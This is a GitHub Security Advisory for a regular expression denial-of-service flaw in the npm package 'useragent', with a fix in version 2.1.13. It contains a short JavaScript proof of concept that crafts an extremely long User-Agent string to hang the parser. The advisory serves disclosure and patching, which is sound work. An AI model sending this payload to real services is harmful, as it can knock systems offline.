GHSA-pjmx-9xr3-82qr
GitHub Security Advisory
ReDoS via long UserAgent header in useragent
✓ GitHub Reviewed
HIGH
Has CVE
Advisory Details
Affected versions of `useragent` are vulnerable to regular expression denial of service when an arbitrarily long `User-Agent` header is parsed.
## Proof of Concept
```js
var useragent = require('useragent');
var badUserAgent = 'MSIE 0.0'+Array(900000).join('0')+'XBLWP';
var request = 'GET / HTTP/1.1\r\nUser-Agent: ' + badUserAgent + '\r\n\r\n';
console.log(useragent.parse(request));
```
## Recommendation
Update to version 2.1.13 or later.
Affected Packages
npm
useragent
Affected versions:
0
(fixed in 2.1.13)
Related CVEs
Key Information
7.5
/10
Dataset
Last updated: August 29, 2025 6:30 AM
Data from GitHub Advisory Database. This information is provided for research and educational purposes.